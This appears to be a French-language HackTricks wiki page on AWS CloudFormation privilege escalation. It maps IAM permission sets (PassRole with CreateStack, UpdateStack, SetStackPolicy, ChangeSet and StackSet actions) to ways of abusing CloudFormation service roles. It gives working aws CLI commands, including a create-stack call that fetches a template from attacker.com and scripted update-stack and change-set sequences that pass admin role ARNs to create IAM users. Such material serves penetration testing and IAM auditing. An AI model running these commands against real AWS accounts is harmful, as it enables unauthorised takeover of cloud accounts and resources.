# AWS - Cloudformation Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## cloudformation

Pour plus d'informations sur cloudformation, consultez :

{{#ref}}
../../aws-services/aws-cloudformation-and-codestar-enum.md
{{#endref}}

### `iam:PassRole`, `cloudformation:CreateStack`

Un attaquant avec ces permissions **peut escalader les privilèges** en créant une **pile CloudFormation** avec un modèle personnalisé, hébergé sur son serveur, pour **exécuter des actions sous les permissions d'un rôle spécifié :**
```bash
aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>
```
Dans la page suivante, vous avez un **exemple d'exploitation** avec la permission supplémentaire **`cloudformation:DescribeStacks`** :

{{#ref}}
iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
{{#endref}}

**Impact potentiel :** Privesc au rôle de service cloudformation spécifié.

### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`)

Dans ce cas, vous pouvez **abuser d'une stack cloudformation existante** pour la mettre à jour et escalader les privilèges comme dans le scénario précédent :
```bash
aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1
```
La permission `cloudformation:SetStackPolicy` peut être utilisée pour **vous donner la permission `UpdateStack`** sur une pile et effectuer l'attaque.

**Impact potentiel :** Privesc au rôle de service cloudformation spécifié.

### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`

Si vous avez cette permission mais **pas `iam:PassRole`**, vous pouvez toujours **mettre à jour les piles** utilisées et abuser des **rôles IAM déjà attachés**. Consultez la section précédente pour un exemple d'exploitation (il suffit de ne pas indiquer de rôle dans la mise à jour).

La permission `cloudformation:SetStackPolicy` peut être utilisée pour **vous donner la permission `UpdateStack`** sur une pile et effectuer l'attaque.

**Impact potentiel :** Privesc au rôle de service cloudformation déjà attaché.

### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)

Un attaquant ayant les permissions de **passer un rôle et de créer & exécuter un ChangeSet** peut **créer/mettre à jour une nouvelle pile cloudformation et abuser des rôles de service cloudformation** tout comme avec CreateStack ou UpdateStack.

L'exploitation suivante est une **variation de la**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) utilisant les **permissions ChangeSet** pour créer une pile.
```bash
aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1
```
La permission `cloudformation:SetStackPolicy` peut être utilisée pour **vous donner des permissions `ChangeSet`** sur une pile et effectuer l'attaque.

**Impact potentiel :** Privesc vers les rôles de service cloudformation.

### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)

C'est comme la méthode précédente sans passer **les rôles IAM**, donc vous pouvez simplement **abuser de ceux déjà attachés**, il suffit de modifier le paramètre :
```
--change-set-type UPDATE
```
**Impact potentiel :** Privesc au rôle de service cloudformation déjà attaché.

### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`)

Un attaquant pourrait abuser de ces permissions pour créer/met à jour des StackSets afin d'abuser des rôles cloudformation arbitraires.

**Impact potentiel :** Privesc aux rôles de service cloudformation.

### `cloudformation:UpdateStackSet`

Un attaquant pourrait abuser de cette permission sans la permission passRole pour mettre à jour des StackSets afin d'abuser des rôles cloudformation attachés.

**Impact potentiel :** Privesc aux rôles cloudformation attachés.

## Références

- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)

{{#include ../../../../banners/hacktricks-training.md}}
